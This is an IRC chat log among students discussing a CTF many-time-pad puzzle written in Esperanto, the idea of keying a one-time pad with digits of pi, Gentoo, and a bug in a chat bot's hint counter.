[2015-01-03T22:34:35-0500] <+Tamini> he
[2015-01-03T22:34:35-0500] <alokpathy> Wasn't me :|
[2015-01-03T22:34:37-0500] <+Tamini> h
[2015-01-03T22:34:40-0500] <+Tamini> i heard he was like
[2015-01-03T22:34:41-0500] <+hardmath123> umm is it that bad a language, or am i missing something?
[2015-01-03T22:34:43-0500] <@awe> perfekta kodo
[2015-01-03T22:34:47-0500] <+Tamini> "this is too easy....ESPERANTO"
[2015-01-03T22:34:55-0500] <+Tamini> hardmath123: there was a hsctf problem
[2015-01-03T22:35:01-0500] <+Tamini> that was an otp applied multiple times
[2015-01-03T22:35:04-0500] <alokpathy> hardmath123: Tamini did not like that problem.
[2015-01-03T22:35:05-0500] <@awe> hardmath123: in HSCTF, there was a problem where you had to solve a two-time pad of esperanto.
[2015-01-03T22:35:11-0500] <@awe> hardmath123: it was really easy
[2015-01-03T22:35:14-0500] <+Tamini> everyone tried to crack it because its a easy problem
[2015-01-03T22:35:17-0500] <+Tamini> everyne failed because
[2015-01-03T22:35:22-0500] <+Tamini> IT WAS IN FUCKING ESPERANTO
[2015-01-03T22:35:30-0500] <+Tamini> *angry face*
[2015-01-03T22:35:33-0500] <@awe> hardmath123: all you had to do was look up the esperanto character frequency on Wikipedia.
[2015-01-03T22:35:40-0500] <+hardmath123> wait what
[2015-01-03T22:35:43-0500] <+Tamini> awe: we just looked for "the"
[2015-01-03T22:35:43-0500] <+hardmath123> two-time pad?
[2015-01-03T22:35:50-0500] <+Tamini> hardmath123: 7 time pad, actually
[2015-01-03T22:35:50-0500] <+hardmath123> oh
[2015-01-03T22:35:54-0500] <@awe> well, yeah, 7-time.
[2015-01-03T22:36:04-0500] <@awe> But in general, the class of problems is called two-time pad.
[2015-01-03T22:36:04-0500] <+hardmath123> so just xor it against itself
[2015-01-03T22:36:14-0500] <@awe> yeah.
[2015-01-03T22:36:19-0500] <+hardmath123> and then cribs
[2015-01-03T22:36:25-0500] <+Tamini> yeah
[2015-01-03T22:36:36-0500] <bob_twinkles> wait (a ^ a) = 0
[2015-01-03T22:36:39-0500] <+hardmath123> were you told it was in esperanto?
[2015-01-03T22:36:39-0500] <+Tamini> it was easy once you realized it was esperanto
[2015-01-03T22:36:48-0500] <+Tamini> because you just look for *estas*
[2015-01-03T22:36:51-0500] <+Tamini> well
[2015-01-03T22:36:58-0500] <+Tamini> perfekta kodo is esperanto for perfect code
[2015-01-03T22:37:40-0500] <+hardmath123> bob_twinkles: (Message1 ^ Pad) ^ (Message2 ^ Pad) = (Message1 ^ Message2)
[2015-01-03T22:39:27-0500] <+Tamini> but really
[2015-01-03T22:39:38-0500] <+Tamini> hardmath123: are you having girl troubles
[2015-01-03T22:39:43-0500] <+Tamini> we can all help you :O
[2015-01-03T22:41:03-0500] <+hardmath123> Tamini: I won't have girl troubles until 2 weeks *after* I embarass myself in front of our jazz band's lead sax player. :P
[2015-01-03T22:41:09-0500] <+Tamini> LOL
[2015-01-03T22:41:10-0500] <+Tamini> how come?
[2015-01-03T22:41:24-0500] <+hardmath123> I have delayed-reaction for social embarrasment.
[2015-01-03T22:41:35-0500] <+Tamini> is she the girl? :P
[2015-01-03T22:41:38-0500] <+hardmath123> Like, I bet in another hour I'll be like "why the heck did you say that to Tamini?"
[2015-01-03T22:41:43-0500] <+Tamini> lolol
[2015-01-03T22:41:48-0500] <+Tamini> its okay, then tell me everything now
[2015-01-03T22:41:53-0500] <+Tamini> before you're embarrassed.
[2015-01-03T22:42:32-0500] <alokpathy> It's okay. We're all pdgnhomies
[2015-01-03T22:42:32-0500] <alokpathy> :)
[2015-01-03T22:42:51-0500] <+Tamini> we need #relationships
[2015-01-03T22:42:52-0500] <+Tamini> pls
[2015-01-03T22:44:31-0500] <@awe> hardmath123: it was hinted at very heavily that it was esperanto.
[2015-01-03T22:44:39-0500] <+Tamini> awe: i disagree :<
[2015-01-03T22:44:40-0500] <@awe> hardmath123: the title was perfekta kodo
[2015-01-03T22:44:45-0500] <@awe> hardmath123: the description was half in Esperanto.
[2015-01-03T22:44:46-0500] <+Tamini> but that's a problem i'll take up with ernest
[2015-01-03T22:44:52-0500] <+Tamini> awe: wait, it was?
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[2015-01-03T22:44:54-0500] <@awe> Yes.
[2015-01-03T22:45:05-0500] <@awe> The_Master: https://www.dropbox.com/s/2421fpi3dp30i81/Screenshot%202015-01-03%2022.45.03.png?dl=0
[2015-01-03T22:45:06-0500] <+Tamini> i thought that was an otp
[2015-01-03T22:45:07-0500] <+Tamini> ._.
[2015-01-03T22:45:39-0500] <@awe> Honestly, it should've been a really easy problem.
[2015-01-03T22:45:41-0500] <bob_twinkles> friggin MITRECTF problem with an OTP based on the digits of pi
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[2015-01-03T22:46:07-0500] Pidgey sets mode +v JacobEdelman
[2015-01-03T22:46:19-0500] <+JacobEdelman> I'm back for a bit
[2015-01-03T22:46:21-0500] <+JacobEdelman> hell
[2015-01-03T22:46:23-0500] <+JacobEdelman> *hello
[2015-01-03T22:46:28-0500] <The_Master> JacobEdelman: 10:45 PM <•awe> The_Master: https://www.dropbox.com/s/2421fpi3dp30i81/Screenshot%202015-01-03%2022.45.03.png?dl=0
[2015-01-03T22:46:29-0500] <@awe> Scale of 1-10 how bad of an idea is this:
[2015-01-03T22:46:45-0500] <+Tamini> bob_twinkles: oh my god i remember that
[2015-01-03T22:46:49-0500] <+Tamini> i nearly shot cdb when he told me
[2015-01-03T22:46:54-0500] <The_Master> -10^10^10^999999999999999999999999
[2015-01-03T22:46:58-0500] <@awe> Communicate messages with people by giving them a product of a number and pi
[2015-01-03T22:46:59-0500] <+JacobEdelman> I'm confused
[2015-01-03T22:47:06-0500] <bob_twinkles> I think for awhile we thought it was some obscure machine code or something XD
[2015-01-03T22:47:06-0500] <@awe> and then an OTP encrypted message
[2015-01-03T22:47:08-0500] <@awe> using that
[2015-01-03T22:47:13-0500] <@awe> (well, the digits of that)
[2015-01-03T22:47:32-0500] <+JacobEdelman> awe: 8, since its not needed
[2015-01-03T22:47:39-0500] <+JacobEdelman> prgn's are out there
[2015-01-03T22:47:46-0500] <+JacobEdelman> that work well
[2015-01-03T22:47:47-0500] <alokpathy> Tamini: Have I told you how jealous of I am of people with 3-letter initials?
[2015-01-03T22:47:55-0500] <+Tamini> alokpathy: hm?
[2015-01-03T22:47:57-0500] <+Tamini> how come?
[2015-01-03T22:47:59-0500] <@awe> JacobEdelman: but it's way easier to tell someone in real life "13pi/2"
[2015-01-03T22:48:01-0500] <alokpathy> Tamini: Or, at least, people who can be easily referenced with 3 letters.
[2015-01-03T22:48:06-0500] <alokpathy> Tamini: It's just so cool .-.
[2015-01-03T22:48:11-0500] <+hardmath123> awe: that's a good idea, beacuse digit frequencies of pi are pseurorandomly distributed
[2015-01-03T22:48:13-0500] <+JacobEdelman> awe: hmmm... true
[2015-01-03T22:48:15-0500] <alokpathy> Tamini: Everything cool can be referenced with three letters.
[2015-01-03T22:48:25-0500] <+Tamini> alokpathy: i can be tam, does that count
[2015-01-03T22:48:26-0500] <+Tamini> :P
[2015-01-03T22:48:35-0500] <alokpathy> Tamini: MIT, CMU
[2015-01-03T22:48:40-0500] <alokpathy> Tamini: I guess
[2015-01-03T22:48:43-0500] <+Tamini> alokpathy: :P
[2015-01-03T22:48:45-0500] <+JacobEdelman> btu an easy way t have a normal number is just the number 0.123456789101112131415....
[2015-01-03T22:48:46-0500] <+Tamini> also we should totally uh
[2015-01-03T22:48:51-0500] <+Tamini> push hardmath123 into a corner
[2015-01-03T22:48:56-0500] <+Tamini> and give him relationship advice
[2015-01-03T22:48:58-0500] <alokpathy> #corner
[2015-01-03T22:49:10-0500] <@awe> hardmath123: I guess someone could brute force though?
[2015-01-03T22:49:23-0500] <+JacobEdelman> wait, why are you giving hardmath123 relationship advice
[2015-01-03T22:49:30-0500] <+JacobEdelman> awe: its not secure really
[2015-01-03T22:49:46-0500] <+hardmath123> awe: brute force what? if you multipply pi by an arbitrary integer and pick an arbitrary starting point
[2015-01-03T22:49:51-0500] <+hardmath123> awe: it'll be really hard to brute-force
[2015-01-03T22:49:52-0500] <+JacobEdelman> awe: its biggest advantage would be ease of human encryption
[2015-01-03T22:50:02-0500] <+hardmath123> JacobEdelman: only for humans who memorize pi
[2015-01-03T22:50:06-0500] <@awe> JacobEdelman: ease of human conveyance, you mean
[2015-01-03T22:50:11-0500] <@awe> JacobEdelman: it's easy to tell someone the key.
[2015-01-03T22:50:16-0500] <+JacobEdelman> awe: yeah, thats what I meant
[2015-01-03T22:50:17-0500] <@awe> hardmath123: ah, that solves the issue.
[2015-01-03T22:50:20-0500] <@awe> hardmath123: arbitrary starting point.
[2015-01-03T22:50:22-0500] <+JacobEdelman> gtg
[2015-01-03T22:50:23-0500] <bob_twinkles> it'd be hard to actually find the message though right?
[2015-01-03T22:50:25-0500] <+JacobEdelman> gnight
[2015-01-03T22:50:34-0500] <@awe> bob_twinkles: not so hard if it always started at the beginning, right?
[2015-01-03T22:50:39-0500] <+hardmath123> Tamini: what
[2015-01-03T22:50:39-0500] <bob_twinkles> 'cause you'd need to essentially break your own scheme to do it
[2015-01-03T22:50:49-0500] <+Tamini> hardmath123: i thought you had girl problems
[2015-01-03T22:50:55-0500] <bob_twinkles> awe: yeah but then you're really just relying on security-through-obscurity
[2015-01-03T22:50:56-0500] <@awe> Still, it's easy to tell someone (13pi/2, 96)
[2015-01-03T22:51:09-0500] <+Tamini> i wanted to do joint relationship therapy session
[2015-01-03T22:51:11-0500] <@awe> and also secure.
[2015-01-03T22:51:17-0500] <+hardmath123> Tamini: why?
[2015-01-03T22:51:43-0500] <bob_twinkles> but to actually encypt something you'd need to search through pi to find a "suitable" sequence
[2015-01-03T22:51:43-0500] <+hardmath123> awe: but getting more digits of pi isn't easy after a while
[2015-01-03T22:51:46-0500] <@awe> Should I implement this?
[2015-01-03T22:51:49-0500] <bob_twinkles> which is a nontrivial problem
[2015-01-03T22:51:59-0500] <+hardmath123> you're basically using pi as a prng
[2015-01-03T22:52:03-0500] <@awe> bob_twinkles: suitable sequence?
[2015-01-03T22:52:19-0500] <The_Master> awe: starbound?
[2015-01-03T22:52:21-0500] <@awe> The_Master: yah
[2015-01-03T22:52:25-0500] <@awe> hardmath123: that's fair.
[2015-01-03T22:52:25-0500] <+Tamini> hardmath123: because you mentioned girl problems! :P
[2015-01-03T22:52:32-0500] <+Tamini> bob_twinklesL define suitable
[2015-01-03T22:52:39-0500] <bob_twinkles> awe: you need to find a sequence of digits that make your message right?
[2015-01-03T22:52:45-0500] <@awe> hardmath123: the starting message is basically the seed
[2015-01-03T22:52:50-0500] <@awe> bob_twinkles: ??? no
[2015-01-03T22:52:58-0500] <@awe> bob_twinkles: I think you're talking about something else
[2015-01-03T22:53:02-0500] <@awe> bob_twinkles: I'm talking about using it as a OTP key
[2015-01-03T22:53:12-0500] <@awe> not storing things as an offset of pi.
[2015-01-03T22:53:15-0500] <bob_twinkles> ohic
[2015-01-03T22:53:16-0500] <@awe> Although, there is a file system that does that.
[2015-01-03T22:53:26-0500] <+JacobEdelman> awe: yeah, for fun :P
[2015-01-03T22:53:26-0500] <bob_twinkles> I thought the whole channel was pi
[2015-01-03T22:53:39-0500] <+Tamini> that's be kinda fun
[2015-01-03T22:53:45-0500] <@awe> I'm saying you give someone an encrypted message + a constant and a starting point
[2015-01-03T22:53:46-0500] <+hardmath123> Tamini: but that was in the context of "I'm disturbed that people think I have girl problems," regardless of whether or not I have them :P
[2015-01-03T22:53:53-0500] <@awe> Because the key is really easy to convey
[2015-01-03T22:53:57-0500] <@awe> regardless of length.
[2015-01-03T22:54:02-0500] <+JacobEdelman> hardmath123: context is for wimps
[2015-01-03T22:54:08-0500] <+Tamini> hardmath123: well, do you have them? ;)
[2015-01-03T22:54:15-0500] <@awe> It solves the issue of your key always needing to be as long as your message
[2015-01-03T22:54:28-0500] <+hardmath123> Tamini: as I explained, not at the moment, thankfully.
[2015-01-03T22:54:49-0500] <+Tamini> hardmath123: heh, okie
[2015-01-03T22:54:49-0500] <@awe> as hardmath123 pointed out, it's technically the same as giving someone the seed for a PRNG.
[2015-01-03T22:54:59-0500] <@awe> and using the output of that as your key.
[2015-01-03T22:55:02-0500] <+JacobEdelman> hardmath123: wait, does that mean your dating and thankful that you have no problems, or not dating and thankful you don't have the complicatins?
[2015-01-03T22:55:06-0500] <+Tamini> what was the saxophone story then?
[2015-01-03T22:55:06-0500] <+JacobEdelman> also
[2015-01-03T22:55:09-0500] <+hardmath123> JacobEdelman: not dating.
[2015-01-03T22:55:15-0500] <@awe> Anybody else want to get in on the Starbound
[2015-01-03T22:55:15-0500] <@awe> ?
[2015-01-03T22:55:18-0500] <+Tamini> its kinda scary to think that
[2015-01-03T22:55:19-0500] <bob_twinkles> which sorta defeats some of the security of a true OTP
[2015-01-03T22:55:32-0500] <+Tamini> jacob is the one out of us with a steady and enduring relationship :P
[2015-01-03T22:55:46-0500] <+JacobEdelman> pdgn: the only place where 2 conversations are simultaneously on teenage dating and OTP with digits of pi.
[2015-01-03T22:55:52-0500] <@awe> bob_twinkles: which is why I said how bad of an idea is this 1-10.
[2015-01-03T22:55:58-0500] <+JacobEdelman> Tamini: yup :P
[2015-01-03T22:56:00-0500] <+Tamini> JacobEdelman: ofc
[2015-01-03T22:56:01-0500] <+hardmath123> Tamini: Our band's lead alto sax player satisfies several of my criteria for "perfect"
[2015-01-03T22:56:10-0500] <+Tamini> hardmath123: seems like you have an issue
[2015-01-03T22:56:15-0500] <+Tamini> #relationships :D
[2015-01-03T22:56:18-0500] <@awe> Anybody want in on Starbound? I will upload latest nightly for you.
[2015-01-03T22:56:23-0500] <+Tamini> lets discuss on more detail
[2015-01-03T22:56:26-0500] <+Tamini> :P
[2015-01-03T22:56:44-0500] <jwoglom> sax players are cool
[2015-01-03T22:57:10-0500] <bob_twinkles> intuitively it sounds like it'd be only slightly less secure than a real OTP, but a lot of crypto is unintuitive and I don't have the math to do a real analysis
[2015-01-03T22:57:18-0500] <@awe> bob_twinkles: fair enough.
[2015-01-03T22:57:26-0500] <bob_twinkles> jwoglom: you're not biased or anything =P
[2015-01-03T22:57:40-0500] <jwoglom> bob_twinkles: hey, i have first hand knowledge :P
[2015-01-03T22:57:46-0500] <+JacobEdelman> gmnight
[2015-01-03T22:57:48-0500] <+JacobEdelman> *gnight
[2015-01-03T22:57:55-0500] <bob_twinkles> 'night JacobEdelman 
[2015-01-03T22:58:00-0500] <@awe> bob_twinkles: I think I'll implement it some time soon.
[2015-01-03T22:58:00-0500] <+Tamini> :(
[2015-01-03T22:58:03-0500] <bob_twinkles> wait shit when did 2300 happen
[2015-01-03T22:58:24-0500] <+Tamini> 2300?
[2015-01-03T22:58:45-0500] <jwoglom> bob_twinkles: i believe you're 285 years away, my friend
[2015-01-03T22:58:52-0500] <The_Master> gnight
[2015-01-03T22:59:00-0500] <bob_twinkles> 'night The_Master 
[2015-01-03T22:59:06-0500] <+Tamini> gnight
[2015-01-03T22:59:08-0500] <bob_twinkles> 24 hour time?
[2015-01-03T22:59:12-0500] <+Tamini> The_Master: tell your brother he's a jerk for me
[2015-01-03T22:59:14-0500] <+Tamini> <3
[2015-01-03T22:59:19-0500] <@awe> well, it happens in roughly one minute, bob_twinkles 
[2015-01-03T22:59:26-0500] <+Tamini> the Jacob brother, not the ben brother
[2015-01-03T22:59:26-0500] <@awe> bob_twinkles: ~ 30 seconds to be more exact.
[2015-01-03T22:59:30-0500] <bob_twinkles> hmm
[2015-01-03T22:59:32-0500] <bob_twinkles> perhaps
[2015-01-03T22:59:35-0500] <bob_twinkles> I should fix my system clocks
[2015-01-03T22:59:35-0500] <+Tamini> lol
[2015-01-03T22:59:39-0500] <bob_twinkles> ... nah
[2015-01-03T23:00:33-0500] <+Tamini> too lazy?
[2015-01-03T23:00:38-0500] <jwoglom> bob_twinkles: ntp pls
[2015-01-03T23:00:58-0500] <bob_twinkles> ntpdate is broken on this system and it's a gentoo install
[2015-01-03T23:01:00-0500] <bob_twinkles> nothnx
[2015-01-03T23:02:03-0500] <@awe> lol
[2015-01-03T23:02:10-0500] <@awe> ah, gentoo.
[2015-01-03T23:04:15-0500] <+Tamini> bob_twinkles: weren't you the one telling me how gentoo didnt work on anything
[2015-01-03T23:04:35-0500] <bob_twinkles> probably
[2015-01-03T23:04:49-0500] <bob_twinkles> err.. maybe not
[2015-01-03T23:05:00-0500] <bob_twinkles> gentoo works on pretty much everything the kernel and GCC support
[2015-01-03T23:05:10-0500] <bob_twinkles> it's just a question of how much you're willing to fight with it
[2015-01-03T23:05:23-0500] <@awe> That being said, getting gentoo to work on ANYTHING requires months of incantation.
[2015-01-03T23:05:29-0500] <bob_twinkles> nah
[2015-01-03T23:05:49-0500] <bob_twinkles> I can do a gentoo install in ~1 hour with a few tea breaks for emerge
[2015-01-03T23:05:58-0500] <bob_twinkles> doesn't mean I want too though
[2015-01-03T23:06:32-0500] <bob_twinkles> the more obscure the hardware the more you have to fight though
[2015-01-03T23:14:30-0500] <@awe> I was mostly kidding.
[2015-01-03T23:14:50-0500] <@awe> But compiling cmake and gcc on old hardware is so bad.
[2015-01-03T23:16:01-0500] <bob_twinkles> yeah our school runs Gentoo for all the student-managed systems
[2015-01-03T23:16:04-0500] <@awe> Really?
[2015-01-03T23:16:07-0500] <@awe> That's a bit surprising.
[2015-01-03T23:16:14-0500] <@awe> Although, everything about your school is a bit surprising.
[2015-01-03T23:16:17-0500] <bob_twinkles> software updates on the remote access servers took... over a day I think
[2015-01-03T23:16:32-0500] <@awe> Sounds about right.
[2015-01-03T23:16:36-0500] <@awe> My gentoo VPS was such a chore.
[2015-01-03T23:16:51-0500] <bob_twinkles> and they're like 8 core VMs with a few gigs of ram
[2015-01-03T23:17:14-0500] <ubuntor> oh, ntp issues
[2015-01-03T23:19:46-0500] <jwoglom> running gentoo is just another part of maintaining the "we're smart and special" mentality that TJ has, lol
[2015-01-03T23:19:58-0500] <@awe> jwoglom: duh
[2015-01-03T23:21:23-0500] <@awe> I still find it so funny that my first CS professor went to TJ.
[2015-01-03T23:21:38-0500] <+Tamini> lol
[2015-01-03T23:21:41-0500] <+Tamini> you should tell us who he is
[2015-01-03T23:21:41-0500] <+Tamini> :P
[2015-01-03T23:21:45-0500] <+Tamini> link the linkedin again
[2015-01-03T23:21:52-0500] <@awe> Mark Corner
[2015-01-03T23:21:55-0500] <@awe> You'll find him
[2015-01-03T23:23:41-0500] <jwoglom> http://alumni.tjhsst.edu/members/mcorner/
[2015-01-03T23:24:10-0500] Tamini_ (uid33458@pdgn-vvu.9lf.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2015-01-03T23:24:17-0500] <+hardmath123> Mark Corner
[2015-01-03T23:24:18-0500] <@awe> That's not very detailed.
[2015-01-03T23:24:22-0500] <@awe> Check LinkedIn.
[2015-01-03T23:24:22-0500] <+hardmath123> that name sounds familiar
[2015-01-03T23:24:35-0500] <jwoglom> lol yeah, just shows that he was a tj alum
[2015-01-03T23:24:44-0500] <@awe> So does his LinkedIn.
[2015-01-03T23:24:53-0500] <jwoglom> didn't realize we had such a fancy alumni system
[2015-01-03T23:25:09-0500] <+hardmath123> our alumni system is facebook, apparently
[2015-01-03T23:25:18-0500] <@awe> It's so weird.
[2015-01-03T23:25:20-0500] <@awe> It's a high school.
[2015-01-03T23:25:30-0500] <bob_twinkles> TJ?
[2015-01-03T23:25:36-0500] <@awe> Yeah.
[2015-01-03T23:25:42-0500] <jwoglom> TJ treats itself as though it's a university
[2015-01-03T23:25:44-0500] <@awe> It does.
[2015-01-03T23:25:58-0500] <@awe> There are universities with less dedicated alumni systems.
[2015-01-03T23:27:15-0500] <jwoglom> TJ has a surprisingly good alumni network
[2015-01-03T23:27:31-0500] <jwoglom> vint cerf's son went to TJ, apparently, he donated some money
[2015-01-03T23:27:54-0500] <@awe> Who's that?
[2015-01-03T23:28:04-0500] <jwoglom> http://en.wikipedia.org/wiki/Vint_Cerf
[2015-01-03T23:28:30-0500] <jwoglom> i hadn't heard of him either but, damn, tons of awards and very influential
[2015-01-03T23:28:45-0500] <@awe> Cerf is also known for his sartorial style, typically appearing in three-piece suit—a rarity in an industry known for its casual dress norms.
[2015-01-03T23:28:53-0500] <@awe> That's my goal.
[2015-01-03T23:30:48-0500] <jwoglom> it makes him appear very professional, lol
[2015-01-03T23:31:02-0500] <jwoglom> not a bad thing to be known for
[2015-01-03T23:31:18-0500] <+Tamini> my physics teacher's college roommate was apparently claude shannon's son
[2015-01-03T23:31:22-0500] <@awe> I just really like suits.
[2015-01-03T23:31:26-0500] <+Tamini> if we're talking about very remote relations :P
[2015-01-03T23:31:33-0500] <+Tamini> awe: I think you'd look pretty good in one.
[2015-01-03T23:31:52-0500] <jwoglom> Tamini: "father of information theory," not a bad title to have
[2015-01-03T23:31:56-0500] <bob_twinkles> I started reading Shannon's seminal paper on information theory a few days ago
[2015-01-03T23:31:59-0500] <bob_twinkles> I should finish that
[2015-01-03T23:32:12-0500] <+Tamini> bob_twinkles: wait
[2015-01-03T23:32:24-0500] <+Tamini> A/The mathematical theory of communication ?
[2015-01-03T23:32:36-0500] <+Tamini> that was my RSA proposal :P
[2015-01-03T23:33:39-0500] <bob_twinkles> yeah I got like half way through and then fell asleep 'cause it was like 0500
[2015-01-03T23:34:21-0500] <+Tamini> lol
[2015-01-03T23:34:23-0500] <+Tamini> you need to sleep
[2015-01-03T23:34:29-0500] <bob_twinkles> nonsense
[2015-01-03T23:34:31-0500] <+Tamini> i know its hypocritical of me but you're worse than me holy shit
[2015-01-03T23:35:00-0500] <bob_twinkles> I usually don't get up until like 1200 when I don't have anything to do in the morning
[2015-01-03T23:35:14-0500] <bob_twinkles> woke up at 1530 today =D
[2015-01-03T23:35:38-0500] <@awe> I have to care for my dog. So, I can't do tha.
[2015-01-03T23:36:09-0500] <bob_twinkles> that's probably somewhere near the top of the list of reasons why I don't think I could ever care for a pet
[2015-01-03T23:36:16-0500] <bob_twinkles> I'd have to start waking up at a reasonable time on weekend
[2015-01-03T23:36:19-0500] <bob_twinkles> s
[2015-01-03T23:36:42-0500] <+Tamini> i woke up at 1300 today :P
[2015-01-03T23:36:57-0500] <+Tamini> i went to bed at like 0500 because i got distracted
[2015-01-03T23:37:03-0500] <+Tamini> i need to fix this or i'll sleep through quantum again
[2015-01-03T23:37:41-0500] <@awe> I had to wake up at 0800 when I got here
[2015-01-03T23:37:46-0500] <@awe> but now he's used to getting up at 1000
[2015-01-03T23:37:55-0500] <bob_twinkles> lol
[2015-01-03T23:40:20-0500] <+Tamini> were you a bad influence on your dog? :P
[2015-01-03T23:40:23-0500] <@awe> Yes.
[2015-01-03T23:43:00-0500] <+Tamini> bad awe.
[2015-01-03T23:48:47-0500] <@awe> He's fine.
[2015-01-03T23:48:49-0500] <@awe> No big deal.
[2015-01-03T23:49:05-0500] <+Tamini> :p
[2015-01-03T23:50:25-0500] <+Tamini> ooh ooh
[2015-01-03T23:50:25-0500] <+Tamini> guys
[2015-01-03T23:50:29-0500] <+Tamini> new year's resolutions?
[2015-01-03T23:50:41-0500] <@awe> I don't make new year's resolutions.
[2015-01-03T23:51:09-0500] <@awe> As for something I'd like to do this year, I'd like to get in on some research now.
[2015-01-03T23:51:45-0500] <+Tamini> i would like to get into college this year heh
[2015-01-03T23:53:46-0500] <+Tamini> also my resolution is to do less directly terrible things
[2015-01-03T23:53:54-0500] <+Tamini> which should be something i can keep
[2015-01-03T23:53:57-0500] <+Tamini> @hint
[2015-01-03T23:53:58-0500] <alchemy> Resetting hint counter.
[2015-01-03T23:53:58-0500] <alchemy> Hint: It's possible to make lifehack with earth!
[2015-01-03T23:53:58-0500] <alchemy> You have 3 hints left this hour.
[2015-01-03T23:54:06-0500] <+Tamini> @combine hacker earth
[2015-01-03T23:54:07-0500] <alchemy> hacker and earth don't make anything exciting.
[2015-01-03T23:54:12-0500] <+Tamini> @combine exploit earth
[2015-01-03T23:54:12-0500] <alchemy> You don't have exploit!
[2015-01-03T23:54:14-0500] <+Tamini> @hint
[2015-01-03T23:54:15-0500] <alchemy> Hint: It's possible to make python with joy!
[2015-01-03T23:54:15-0500] <alchemy> You have 2 hints left this hour.
[2015-01-03T23:54:18-0500] <+Tamini> @hint
[2015-01-03T23:54:19-0500] <alchemy> Hint: It's possible to make pidgey with evil!
[2015-01-03T23:54:19-0500] <alchemy> You have 1 hints left this hour.
[2015-01-03T23:54:21-0500] <+Tamini> @hint
[2015-01-03T23:54:22-0500] <alchemy> You're out of hints for this hour.
[2015-01-03T23:54:29-0500] <+Tamini> hardmath123: your counter is glitched
[2015-01-03T23:54:39-0500] <@awe> @hint
[2015-01-03T23:54:40-0500] <alchemy> You're out of hints for this hour.
[2015-01-03T23:54:49-0500] <@awe> probably decrements before giving the hint
[2015-01-03T23:54:54-0500] <jwoglom> @combine joy computer
[2015-01-03T23:54:54-0500] <alchemy> joy and computer don't make anything exciting.
[2015-01-03T23:55:35-0500] <@awe> @tell hardmath123 The hint counter on alchemy is glitched.
[2015-01-03T23:55:35-0500] <mailbot> awe: I'll let them know!
[2015-01-03T23:55:40-0500] <alokpathy> @list
[2015-01-03T23:55:40-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T23:55:40-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T23:55:40-0500] <alchemy> You have: kitt, knight, lava, letitgoooooo, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal
[2015-01-03T23:55:40-0500] <alchemy> You have: nexorg, ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant
[2015-01-03T23:55:40-0500] <alchemy> You have: robot, rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time
[2015-01-03T23:55:40-0500] <alchemy> You have: tomorrow, tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-03T23:55:40-0500] <alchemy> That's 116 out of 150!
[2015-01-03T23:55:54-0500] <alokpathy> My window is half my screen
[2015-01-03T23:55:58-0500] <alokpathy> and the list basically takes up
[2015-01-03T23:56:00-0500] <alokpathy> the entire window.
[2015-01-03T23:56:56-0500] <+hardmath123> @refresh
[2015-01-03T23:56:56-0500] <mailbot> hardmath123: A minute ago, awe said The hint counter on alchemy is glitched.
[2015-01-03T23:56:57-0500] <alchemy> Refreshing...
[2015-01-03T23:56:57-0500] <alchemy> Done. Loaded 161.
[2015-01-03T23:57:16-0500] <+hardmath123> awe: what's wrong with the counter?
[2015-01-03T23:57:24-0500] <@awe> [23:54:19]  <alchemy>	You have 1 hints left this hour.
[2015-01-03T23:57:24-0500] <@awe> [23:54:21]  <+Tamini>	@hint
[2015-01-03T23:57:24-0500] <@awe> [23:54:22]  <alchemy>	You're out of hints for this hour.
[2015-01-03T23:57:26-0500] <jwoglom> @list
[2015-01-03T23:57:28-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T23:57:28-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T23:57:28-0500] <alchemy> You have: kitt, knight, lava, letitgoooooo, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal
[2015-01-03T23:57:28-0500] <alchemy> You have: nexorg, ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant
[2015-01-03T23:57:28-0500] <alchemy> You have: robot, rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time
[2015-01-03T23:57:28-0500] <alchemy> You have: tomorrow, tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-03T23:57:28-0500] <alchemy> That's 116 out of 161!
[2015-01-03T23:57:31-0500] <jwoglom> hey, more
[2015-01-03T23:59:45-0500] <+hardmath123> hmm that's strange it shouldn't be doing that
[2015-01-03T23:59:46-0500] <alokpathy> @possible jwoglom
[2015-01-03T23:59:46-0500] <alchemy> No, you can't make jwoglom.
[2015-01-03T23:59:53-0500] <alokpathy> @possible woglom
[2015-01-03T23:59:53-0500] <alchemy> No, you can't make woglom.
[2015-01-03T23:59:54-0500] <alokpathy> :(
[2015-01-03T23:59:56-0500] <alokpathy> hardmath123: 
[2015-01-04T00:00:06-0500] <alokpathy> ^^^
[2015-01-04T00:00:08-0500] <+hardmath123> if hint_stuff[0] < 1:                            
[2015-01-04T00:00:09-0500] <+hardmath123>     display("You're out of hints for this hour.")
[2015-01-04T00:00:27-0500] <jwoglom> lol what would i be
[2015-01-04T00:00:30-0500] <alokpathy> Is it subtracting and then checking the condition?
[2015-01-04T00:00:36-0500] <+hardmath123> where hint_stuff is [#left, currenthour]
[2015-01-04T00:00:44-0500] <+Tamini> uhh
[2015-01-04T00:00:51-0500] <+Tamini> i think you decrement too early
[2015-01-04T00:01:57-0500] <alokpathy> jwoglom: Hm
[2015-01-04T00:02:02-0500] <+hardmath123> http://hastebin.com/uvuzubiyut
